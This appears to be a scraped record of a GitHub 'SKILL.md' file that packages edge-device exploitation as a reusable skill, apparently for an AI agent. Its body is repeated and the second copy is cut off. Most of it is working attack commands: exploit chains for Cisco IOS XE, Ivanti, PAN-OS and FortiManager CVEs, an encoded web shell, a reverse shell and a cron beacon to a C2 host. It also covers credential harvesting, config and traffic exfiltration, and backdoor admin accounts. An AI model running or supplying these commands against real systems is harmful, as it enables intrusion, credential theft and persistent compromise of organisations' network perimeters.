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Covers CVE exploitation chains, post-exploitation on network devices, config extraction, and implant deployment on perimeter infrastructure.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fedge-device-exploitation\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: edge-device-exploitation\ndescription: \"Edge device exploitation — routers, firewalls, VPN appliances (Cisco IOS XE, Fortinet, Ivanti, Palo Alto). Covers CVE exploitation chains, post-exploitation on network devices, config extraction, and implant deployment on perimeter infrastructure.\"\nmetadata:\n  subdomain: execution\n  when_to_use: \"edge device router firewall vpn appliance cisco ios xe fortinet fortigate fortimanager ivanti pulse secure palo alto pan-os network device exploit cve-2023-20198 cve-2024-21887 cve-2024-3400 cve-2024-47575 snmp config extraction implant network perimeter\"\n  mitre_attack: \"T1190, T1133, T1602\"\n  tags: \"exploit edge-device network-appliance cve\"\n---\n\n# Edge Device Exploitation\n\nExploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.\n\n## Quick Reference\n\n```bash\n# Discover edge devices — Shodan\ncurl -s \"https:\u002F\u002Fapi.shodan.io\u002Fshodan\u002Fhost\u002Fsearch?key=\u003CSHODAN_KEY>&query=org:\u003CTARGET_ORG>+product:cisco\" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'\n\n# Nmap service fingerprint on perimeter\nnmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info \u003CTARGET_RANGE> -oA edge_scan\n\n# SNMP community string brute\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fcommon-snmp-community-strings.txt \u003CTARGET>\n\n# SNMP walk full config tree\nsnmpwalk -v2c -c \u003CCOMMUNITY> \u003CTARGET> .1.3.6.1 > snmpwalk_full.txt\n\n# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\u002Flogoutconfirm.html?logon_hash=1\" -o cisco_webui_probe.txt\n\n# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fglobal-protect\u002Fportal\u002Fcss\u002Flogin.css\" -w '%{http_code}' -o \u002Fdev\u002Fnull\n\n# Ivanti Connect Secure version check\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi\" -o ivanti_version.txt\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Application |\n|---|---|---|\n| Exploit Public-Facing Application | T1190 | CVE exploitation against web UI \u002F VPN portal |\n| External Remote Services | T1133 | Abuse VPN\u002FSSL-VPN\u002Fmanagement interfaces post-compromise |\n| Data from Configuration Repository | T1602 | Extract running-config, startup-config, SNMP MIBs |\n| Network Sniffing | T1040 | Packet capture on compromised device |\n| Modify System Image | T1601 | Implant in device firmware\u002FOS image |\n\n## 1. Identifying Edge Devices\n\n### External Reconnaissance\n```bash\n# Shodan bulk search by org\nshodan search \"org:\u003CTARGET_ORG>\" --fields ip_str,port,product,os --separator , > shodan_edge.csv\n\n# Censys for Fortinet devices\ncurl -s \"https:\u002F\u002Fsearch.censys.io\u002Fapi\u002Fv2\u002Fhosts\u002Fsearch\" \\\n  -H \"Authorization: Basic \u003CCENSYS_KEY>\" \\\n  -d '{\"q\":\"services.software.product:FortiOS AND autonomous_system.name:\u003CTARGET_ORG>\",\"per_page\":50}' | jq '.result.hits[]'\n\n# Certificate transparency for management hostnames\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%25.\u003CTARGET_DOMAIN>&output=json\" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'\n```\n\n### Fingerprinting\n```bash\n# HTTP header fingerprinting\ncurl -skI \"https:\u002F\u002F\u003CTARGET>\" | grep -iE 'server:|x-frame|set-cookie|location'\n\n# SSL cert org\u002FCN extraction\necho | openssl s_client -connect \u003CTARGET>:443 2>\u002Fdev\u002Fnull | openssl x509 -noout -subject -issuer\n\n# Nmap NSE scripts for specific vendors\nnmap -p 443 --script http-cisco-anyconnect,ssl-cert \u003CTARGET>\n```\n\n## 2. CVE Exploitation Chains\n\n### CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0)\nUnauthenticated attacker creates a privileged local account via the web UI.\n\n```bash\n# Step 1: Verify web UI is accessible\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\" -w '%{http_code}\\n' -o \u002Fdev\u002Fnull\n\n# Step 2: Create implant account (the exploit request)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\u002Flogoutconfirm.html?logon_hash=1\" \\\n  -H \"Authorization: 0ff4fbf0ecffa77ce8d3852a4571\" \\\n  -d '{\"cisco-IOS-XE-native:username\": {\"name\":\"\u003CIMPLANT_USER>\",\"privilege\":15,\"password\":{\"type\":\"0\",\"secret\":\"\u003CIMPLANT_PASS>\"}}}'\n\n# Step 3: Access via SSH with implant account\nsshpass -p '\u003CIMPLANT_PASS>' ssh \u003CIMPLANT_USER>@\u003CTARGET> \"show running-config\"\n\n# Step 4: Check for existing implant (IOC detection)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\u002Flogoutconfirm.html?logon_hash=1\" | grep -q \"implant\" && echo \"IMPLANT DETECTED\"\n\n# Metasploit module\nmsfconsole -q -x \"use exploit\u002Flinux\u002Fhttp\u002Fcisco_ios_xe_webui_privesc; set RHOSTS \u003CTARGET>; set LHOST \u003CCALLBACK>; run\"\n```\n\n### CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1)\nChained with CVE-2023-46805 (auth bypass) for unauthenticated RCE.\n\n```bash\n# Step 1: Auth bypass (CVE-2023-46805) — path traversal\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Fsystem\u002Fsystem-information\" \\\n  -H \"Content-Type: application\u002Fjson\" -o ivanti_sysinfo.json\n\n# Step 2: Command injection via REST API\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Fsystem\u002Fmaintenance\u002Farchiving\u002Fcloud-server-test-connection\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"type\":\"1\",\"txtGCPProject\":\"\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Flicense\u002Fkeys-status\u002F$(id > \u002Ftmp\u002Fpwned.txt)\"}'\n\n# Step 3: Read output\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fdana-cached\u002Fhc\u002FHostCheckerInstaller.osx\" --path-as-is\n\n# Integrity Checker Tool (ICT) evasion — attackers modify ICT itself\n# Post-exploit: drop web shell\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Fsystem\u002Fmaintenance\u002Farchiving\u002Fcloud-server-test-connection\" \\\n  -d '{\"type\":\"1\",\"txtGCPProject\":\"\u002F$(cp \u002Fhome\u002Fwebserver\u002Fhtdocs\u002Fdana-na\u002Fauth\u002Fcompcheckresult.cgi \u002Ftmp\u002Fbak && echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg== | base64 -d > \u002Fhome\u002Fwebserver\u002Fhtdocs\u002Fdana-na\u002Fauth\u002Fcompcheckresult.cgi)\"}'\n```\n\n### CVE-2024-3400 — Palo Alto PAN-OS GlobalProtect Command Injection (CVSS 10.0)\nUnauthenticated OS command injection via GlobalProtect gateway.\n\n```bash\n# Step 1: Confirm GlobalProtect is exposed\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fglobal-protect\u002Flogin.esp\" -w '%{http_code}' -o \u002Fdev\u002Fnull\n\n# Step 2: Exploit — inject via SESSID cookie\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fssl-vpn\u002Fhipreport.esp\" \\\n  -H \"Cookie: SESSID=..\u002F..\u002F..\u002F..\u002Fopt\u002Fpanlogs\u002Ftmp\u002Fdevice_telemetry\u002Fhour\u002Faaa\\`id>\u002Fvar\u002Fappweb\u002Fsslvpndocs\u002Fglobal-protect\u002Fportal\u002Fcmd.txt\\`\" \\\n  -d \"Content-Type=application\u002Fx-www-form-urlencoded\"\n\n# Step 3: Retrieve command output\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fglobal-protect\u002Fportal\u002Fcmd.txt\"\n\n# Step 4: Reverse shell\nPAYLOAD=\"bash -i >& \u002Fdev\u002Ftcp\u002F\u003CCALLBACK>\u002F4444 0>&1\"\nENCODED=$(echo -n \"$PAYLOAD\" | base64)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fssl-vpn\u002Fhipreport.esp\" \\\n  -H \"Cookie: SESSID=..\u002F..\u002F..\u002F..\u002Fopt\u002Fpanlogs\u002Ftmp\u002Fdevice_telemetry\u002Fhour\u002Faaa\\`echo ${ENCODED}|base64 -d|bash\\`\"\n```\n\n### CVE-2024-47575 — FortiManager Unauthenticated RCE (CVSS 9.8)\nMissing authentication in FortiManager fgfmd daemon allows arbitrary code execution.\n\n```bash\n# Step 1: Confirm FortiManager FGFM service (port 541)\nnmap -p 541 -sV \u003CTARGET>\n\n# Step 2: Exploit via FGFM protocol — register rogue FortiGate\n# This requires crafting a FGFM registration request\npython3 -c \"\nimport socket, ssl\ns = socket.socket()\ns = ssl.wrap_socket(s)\ns.connect(('\u003CTARGET>', 541))\n# Rogue FortiGate registration payload\npayload = b'\\\\x00\\\\x01' + b'A'*256  # Simplified — real exploit crafts valid FGFM handshake\ns.send(payload)\nprint(s.recv(4096))\n\"\n\n# Step 3: Post-exploit — extract managed device configs\n# FortiManager stores all managed FortiGate configs\nfind \u002Fvar\u002Flib\u002Ffortimanager\u002F -name \"*.conf\" -exec cp {} \u002Ftmp\u002Fexfil\u002F \\;\n\n# Step 4: Extract credentials from FortiManager DB\nsqlite3 \u002Fvar\u002Flib\u002Ffortimanager\u002Ffortimanager.db \"SELECT name,passwd FROM device\" 2>\u002Fdev\u002Fnull\n```\n\n## 3. Post-Exploitation on Network Devices\n\n### Config Extraction\n```bash\n# Cisco IOS — dump running config via SSH\nsshpass -p '\u003CPASSWORD>' ssh \u003CUSER>@\u003CTARGET> \"show running-config\" > cisco_running.conf\nsshpass -p '\u003CPASSWORD>' ssh \u003CUSER>@\u003CTARGET> \"show startup-config\" > cisco_startup.conf\n\n# Extract credentials from Cisco config\ngrep -iE 'password|secret|key|community' cisco_running.conf\n\n# SNMP full config pull (Cisco)\nsnmpset -v2c -c \u003CRW_COMMUNITY> \u003CTARGET> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a \u003CTFTP_SERVER> \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s \"config.txt\" \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1\n\n# FortiGate — backup config via API\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv2\u002Fmonitor\u002Fsystem\u002Fconfig\u002Fbackup?scope=global\" \\\n  -H \"Authorization: Bearer \u003CAPI_TOKEN>\" -o fortigate_backup.conf\n\n# Palo Alto — export config via API\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002F?type=export&category=configuration&key=\u003CAPI_KEY>\" -o panos_config.xml\n```\n\n### Credential Harvesting\n```bash\n# Cisco Type 7 password decode\npython3 -c \"\nimport sys\nxlat = [0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44,0x48,0x53,0x55,0x42]\nenc = sys.argv[1]\nseed = int(enc[:2])\nclear = ''.join(chr(int(enc[i:i+2],16) ^ xlat[(seed + (i-2)\u002F\u002F2) % len(xlat)]) for i in range(2, len(enc), 2))\nprint(clear)\n\" '\u003CTYPE7_HASH>'\n\n# Extract VPN user databases\n# Ivanti — \u002Fdata\u002Fruntime\u002Fmtmp\u002Fsystem\ncat \u002Fdata\u002Fruntime\u002Fmtmp\u002Fsystem | strings | grep -iE 'user|pass|realm'\n\n# PAN-OS — GlobalProtect user DB\ngrep -r \"username\\|password\" \u002Fopt\u002Fpancfg\u002Fmgmt\u002Fsaved-configs\u002F\n```\n\n### Traffic Interception\n```bash\n# Cisco — embedded packet capture\nssh \u003CUSER>@\u003CTARGET> \u003C\u003C 'CISCO'\nmonitor capture CAP interface GigabitEthernet0\u002F0 both\nmonitor capture CAP match ipv4 any any\nmonitor capture CAP start\n! wait, then:\nmonitor capture CAP stop\nmonitor capture CAP export tftp:\u002F\u002F\u003CEXFIL_SERVER>\u002Fcapture.pcap\nCISCO\n\n# PAN-OS — packet capture via CLI\nssh admin@\u003CTARGET> \"debug dataplane packet-diag set capture stage firewall file cap.pcap\"\nssh admin@\u003CTARGET> \"debug dataplane packet-diag set capture on\"\n```\n\n## 4. Implant Deployment\n\n```bash\n# Cisco IOS — persistent backdoor via EEM applet\nssh \u003CUSER>@\u003CTARGET> \u003C\u003C 'CISCO'\nconf t\nevent manager applet BACKDOOR\n event timer watchdog time 3600\n action 1.0 cli command \"enable\"\n action 2.0 cli command \"conf t\"\n action 3.0 cli command \"username backdoor privilege 15 secret 0 \u003CIMPLANT_PASS>\"\n action 4.0 cli command \"end\"\nend\nwrite memory\nCISCO\n\n# PAN-OS — cron-based persistence\nssh admin@\u003CTARGET> \"echo '*\u002F30 * * * * curl -sk https:\u002F\u002F\u003CC2>\u002Fbeacon|bash' >> \u002Fetc\u002Fcron.d\u002Fpan_task\"\n\n# FortiGate — persistent admin via CLI\nssh admin@\u003CTARGET> \u003C\u003C 'FORTI'\nconfig system admin\n  edit \"support_tech\"\n    set accprofile \"super_admin\"\n    set password \"\u003CIMPLANT_PASS>\"\n  next\nend\nFORTI\n```\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| Shodan \u002F Censys | Edge device discovery and fingerprinting |\n| Nmap + NSE | Port scanning and service identification |\n| Metasploit | CVE exploit modules for Cisco, Palo Alto, Fortinet |\n| onesixtyone | SNMP community string bruteforce |\n| snmpwalk \u002F snmpset | SNMP enumeration and config extraction |\n| Nuclei | Bulk CVE scanning templates for edge devices |\n| sshpass | Scripted SSH access for post-exploitation |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|---|---|\n| Unexpected admin accounts on appliances | Periodic config diff \u002F SIEM baseline |\n| CVE-2023-20198 IOC: `\u002Fwebui\u002Flogoutconfirm.html` access | Web proxy \u002F IDS signature |\n| CVE-2024-3400 IOC: SESSID with path traversal | WAF rule on cookie content |\n| SNMP community string bruteforce | IDS alert on SNMP GetRequest bursts |\n| FGFM rogue device registration | FortiManager event log for unknown serial |\n| EEM applet creation | Cisco syslog for `%HA_EM-6-LOG` events |\n| Unusual TFTP\u002FSCP from network devices | NetFlow analysis for device-to-external transfers |\n\n## Error Handling & Edge Cases\n\n- **Web UI disabled**: Fall back to SNMP or SSH-based exploitation; many CVEs target web management specifically\n- **Device behind NAT**: Use Shodan historical data; pivot through VPN tunnel if partial access exists\n- **SNMP v3 only**: Requires credentials; attempt default `authPriv` credentials before brute-force\n- **Patched device**: Check for incomplete patches; Ivanti ICT bypass was common post-patch\n- **HA cluster**: Exploit may need to target both primary and standby nodes\n- **Firmware integrity checks**: Some vendors verify image signatures; implant deployment may require modifying the verification routine\n\n## Decision Gate\n\n```\nIF edge device discovered with web UI exposed:\n  → Check CVE applicability by version fingerprint\n  → Attempt highest-CVSS CVE first (typically auth bypass + RCE chain)\n  → On success: extract config, harvest creds, assess implant viability\n  → Pivot to internal network via device's trusted interfaces\n\nIF only SNMP accessible:\n  → Attempt community string brute → config extraction → credential harvest\n  → Use extracted creds for SSH\u002Fconsole access\n\nIF fully patched:\n  → Attempt default\u002Fweak credentials on management interfaces\n  → Check for misconfigured ACLs allowing management access from untrusted zones\n  → Document as hardened perimeter; pivot to other attack surface\n```\n","# Edge Device Exploitation\n\nExploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.\n\n## Quick Reference\n\n```bash\n# Discover edge devices — Shodan\ncurl -s \"https:\u002F\u002Fapi.shodan.io\u002Fshodan\u002Fhost\u002Fsearch?key=\u003CSHODAN_KEY>&query=org:\u003CTARGET_ORG>+product:cisco\" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'\n\n# Nmap service fingerprint on perimeter\nnmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info \u003CTARGET_RANGE> -oA edge_scan\n\n# SNMP community string brute\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fcommon-snmp-community-strings.txt \u003CTARGET>\n\n# SNMP walk full config tree\nsnmpwalk -v2c -c \u003CCOMMUNITY> \u003CTARGET> .1.3.6.1 > snmpwalk_full.txt\n\n# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\u002Flogoutconfirm.html?logon_hash=1\" -o cisco_webui_probe.txt\n\n# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fglobal-protect\u002Fportal\u002Fcss\u002Flogin.css\" -w '%{http_code}' -o \u002Fdev\u002Fnull\n\n# Ivanti Connect Secure version check\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi\" -o ivanti_version.txt\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Application |\n|---|---|---|\n| Exploit Public-Facing Application | T1190 | CVE exploitation against web UI \u002F VPN portal |\n| External Remote Services | T1133 | Abuse VPN\u002FSSL-VPN\u002Fmanagement interfaces post-compromise |\n| Data from Configuration Repository | T1602 | Extract running-config, startup-config, SNMP MIBs |\n| Network Sniffing | T1040 | Packet capture on compromised device |\n| Modify System Image | T1601 | Implant in device firmware\u002FOS image |\n\n## 1. Identifying Edge Devices\n\n### External Reconnaissance\n```bash\n# Shodan bulk search by org\nshodan search \"org:\u003CTARGET_ORG>\" --fields ip_str,port,product,os --separator , > shodan_edge.csv\n\n# Censys for Fortinet devices\ncurl -s \"https:\u002F\u002Fsearch.censys.io\u002Fapi\u002Fv2\u002Fhosts\u002Fsearch\" \\\n  -H \"Authorization: Basic \u003CCENSYS_KEY>\" \\\n  -d '{\"q\":\"services.software.product:FortiOS AND autonomous_system.name:\u003CTARGET_ORG>\",\"per_page\":50}' | jq '.result.hits[]'\n\n# Certificate transparency for management hostnames\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%25.\u003CTARGET_DOMAIN>&output=json\" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'\n```\n\n### Fingerprinting\n```bash\n# HTTP header fingerprinting\ncurl -skI \"https:\u002F\u002F\u003CTARGET>\" | grep -iE 'server:|x-frame|set-cookie|location'\n\n# SSL cert org\u002FCN extraction\necho | openssl s_client -connect \u003CTARGET>:443 2>\u002Fdev\u002Fnull | openssl x509 -noout -subject -issuer\n\n# Nmap NSE scripts for specific vendors\nnmap -p 443 --script http-cisco-anyconnect,ssl-cert \u003CTARGET>\n```\n\n## 2. CVE Exploitation Chains\n\n### CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0)\nUnauthenticated attacker creates a privileged local account via the web UI.\n\n```bash\n# Step 1: Verify web UI is accessible\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\" -w '%{http_code}\\n' -o \u002Fdev\u002Fnull\n\n# Step 2: Create implant account (the exploit request)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\u002Flogoutconfirm.html?logon_hash=1\" \\\n  -H \"Authorization: 0ff4fbf0ecffa77ce8d3852a4571\" \\\n  -d '{\"cisco-IOS-XE-native:username\": {\"name\":\"\u003CIMPLANT_USER>\",\"privilege\":15,\"password\":{\"type\":\"0\",\"secret\":\"\u003CIMPLANT_PASS>\"}}}'\n\n# Step 3: Access via SSH with implant account\nsshpass -p '\u003CIMPLANT_PASS>' ssh \u003CIMPLANT_USER>@\u003CTARGET> \"show running-config\"\n\n# Step 4: Check for existing implant (IOC detection)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fwebui\u002Flogoutconfirm.html?logon_hash=1\" | grep -q \"implant\" && echo \"IMPLANT DETECTED\"\n\n# Metasploit module\nmsfconsole -q -x \"use exploit\u002Flinux\u002Fhttp\u002Fcisco_ios_xe_webui_privesc; set RHOSTS \u003CTARGET>; set LHOST \u003CCALLBACK>; run\"\n```\n\n### CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1)\nChained with CVE-2023-46805 (auth bypass) for unauthenticated RCE.\n\n```bash\n# Step 1: Auth bypass (CVE-2023-46805) — path traversal\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Fsystem\u002Fsystem-information\" \\\n  -H \"Content-Type: application\u002Fjson\" -o ivanti_sysinfo.json\n\n# Step 2: Command injection via REST API\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Fsystem\u002Fmaintenance\u002Farchiving\u002Fcloud-server-test-connection\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"type\":\"1\",\"txtGCPProject\":\"\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Flicense\u002Fkeys-status\u002F$(id > \u002Ftmp\u002Fpwned.txt)\"}'\n\n# Step 3: Read output\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fdana-cached\u002Fhc\u002FHostCheckerInstaller.osx\" --path-as-is\n\n# Integrity Checker Tool (ICT) evasion — attackers modify ICT itself\n# Post-exploit: drop web shell\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F..\u002F..\u002Fsystem\u002Fmaintenance\u002Farchiving\u002Fcloud-server-test-connection\" \\\n  -d '{\"type\":\"1\",\"txtGCPProject\":\"\u002F$(cp \u002Fhome\u002Fwebserver\u002Fhtdocs\u002Fdana-na\u002Fauth\u002Fcompcheckresult.cgi \u002Ftmp\u002Fbak && echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg== | base64 -d > \u002Fhome\u002Fwebserver\u002Fhtdocs\u002Fdana-na\u002Fauth\u002Fcompcheckresult.cgi)\"}'\n```\n\n### CVE-2024-3400 — Palo Alto PAN-OS GlobalProtect Command Injection (CVSS 10.0)\nUnauthenticated OS command injection via GlobalProtect gateway.\n\n```bash\n# Step 1: Confirm GlobalProtect is exposed\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fglobal-protect\u002Flogin.esp\" -w '%{http_code}' -o \u002Fdev\u002Fnull\n\n# Step 2: Exploit — inject via SESSID cookie\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fssl-vpn\u002Fhipreport.esp\" \\\n  -H \"Cookie: SESSID=..\u002F..\u002F..\u002F..\u002Fopt\u002Fpanlogs\u002Ftmp\u002Fdevice_telemetry\u002Fhour\u002Faaa\\`id>\u002Fvar\u002Fappweb\u002Fsslvpndocs\u002Fglobal-protect\u002Fportal\u002Fcmd.txt\\`\" \\\n  -d \"Content-Type=application\u002Fx-www-form-urlencoded\"\n\n# Step 3: Retrieve command output\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fglobal-protect\u002Fportal\u002Fcmd.txt\"\n\n# Step 4: Reverse shell\nPAYLOAD=\"bash -i >& \u002Fdev\u002Ftcp\u002F\u003CCALLBACK>\u002F4444 0>&1\"\nENCODED=$(echo -n \"$PAYLOAD\" | base64)\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fssl-vpn\u002Fhipreport.esp\" \\\n  -H \"Cookie: SESSID=..\u002F..\u002F..\u002F..\u002Fopt\u002Fpanlogs\u002Ftmp\u002Fdevice_telemetry\u002Fhour\u002Faaa\\`echo ${ENCODED}|base64 -d|bash\\`\"\n```\n\n### CVE-2024-47575 — FortiManager Unauthenticated RCE (CVSS 9.8)\nMissing authentication in FortiManager fgfmd daemon allows arbitrary code execution.\n\n```bash\n# Step 1: Confirm FortiManager FGFM service (port 541)\nnmap -p 541 -sV \u003CTARGET>\n\n# Step 2: Exploit via FGFM protocol — register rogue FortiGate\n# This requires crafting a FGFM registration request\npython3 -c \"\nimport socket, ssl\ns = socket.socket()\ns = ssl.wrap_socket(s)\ns.connect(('\u003CTARGET>', 541))\n# Rogue FortiGate registration payload\npayload = b'\\\\x00\\\\x01' + b'A'*256  # Simplified — real exploit crafts valid FGFM handshake\ns.send(payload)\nprint(s.recv(4096))\n\"\n\n# Step 3: Post-exploit — extract managed device configs\n# FortiManager stores all managed FortiGate configs\nfind \u002Fvar\u002Flib\u002Ffortimanager\u002F -name \"*.conf\" -exec cp {} \u002Ftmp\u002Fexfil\u002F \\;\n\n# Step 4: Extract credentials from FortiManager DB\nsqlite3 \u002Fvar\u002Flib\u002Ffortimanager\u002Ffortimanager.db \"SELECT name,passwd FROM device\" 2>\u002Fdev\u002Fnull\n```\n\n## 3. Post-Exploitation on Network Devices\n\n### Config Extraction\n```bash\n# Cisco IOS — dump running config via SSH\nsshpass -p '\u003CPASSWORD>' ssh \u003CUSER>@\u003CTARGET> \"show running-config\" > cisco_running.conf\nsshpass -p '\u003CPASSWORD>' ssh \u003CUSER>@\u003CTARGET> \"show startup-config\" > cisco_startup.conf\n\n# Extract credentials from Cisco config\ngrep -iE 'password|secret|key|community' cisco_running.conf\n\n# SNMP full config pull (Cisco)\nsnmpset -v2c -c \u003CRW_COMMUNITY> \u003CTARGET> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a \u003CTFTP_SERVER> \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s \"config.txt\" \\\n  1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1\n\n# FortiGate — backup config via API\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fv2\u002Fmonitor\u002Fsystem\u002Fconfig\u002Fbackup?scope=global\" \\\n  -H \"Authorization: Bearer \u003CAPI_TOKEN>\" -o fortigate_backup.conf\n\n# Palo Alto — export config via API\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002F?type=export&category=configuration&key=\u003CAPI_KEY>\" -o panos_config.xml\n```\n\n### Credential Harvesting\n```bash\n# Cisco Type 7 password decode\npython3 -c \"\nimport sys\nxlat = [0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44,0x48,0x53,0x55,0x42]\nenc = sys.argv[1]\nseed = int(enc[:2])\nclear = ''.join(chr(int(enc[i:i+2],16) ^ xlat[(seed + (i-2)\u002F\u002F2) % len(xlat)]) for i in range(2, len(enc), 2))\nprint(clear)\n\" '\u003CTYPE7_HASH>'\n\n# Extract VPN user databases\n# Ivanti — \u002Fdata\u002Fruntime\u002Fmtmp\u002Fsystem\ncat \u002Fdata\u002Fruntime\u002Fmtmp\u002Fsystem | strings | grep -iE 'user|pass|realm'\n\n# PAN-OS — GlobalProtect user DB\ngrep -r \"username\\|password\" \u002Fopt\u002Fpancfg\u002Fmgmt\u002Fsaved-configs\u002F\n```\n\n### Traffic Interception\n```bash\n# Cisco — embedded packet capture\nssh \u003CUSER>@\u003CTARGET> \u003C\u003C 'CISCO'\nmonitor capture CAP interface GigabitEthernet0\u002F0 both\nmonitor capture CAP match ipv4 any any\nmonitor capture CAP start\n! wait, then:\nmonitor capture CAP stop\nmonitor capture CAP export tftp:\u002F\u002F\u003CEXFIL_SERVER>\u002Fcapture.pcap\nCISCO\n\n# PAN-OS — packet capture via CLI\nssh admin@\u003CTARGET> \"debug dataplane packet-diag set capture stage firewall file cap.pcap\"\nssh admin@\u003CTARGET> \"debug dataplane packet-diag set capture on\"\n```\n\n## 4. Implant 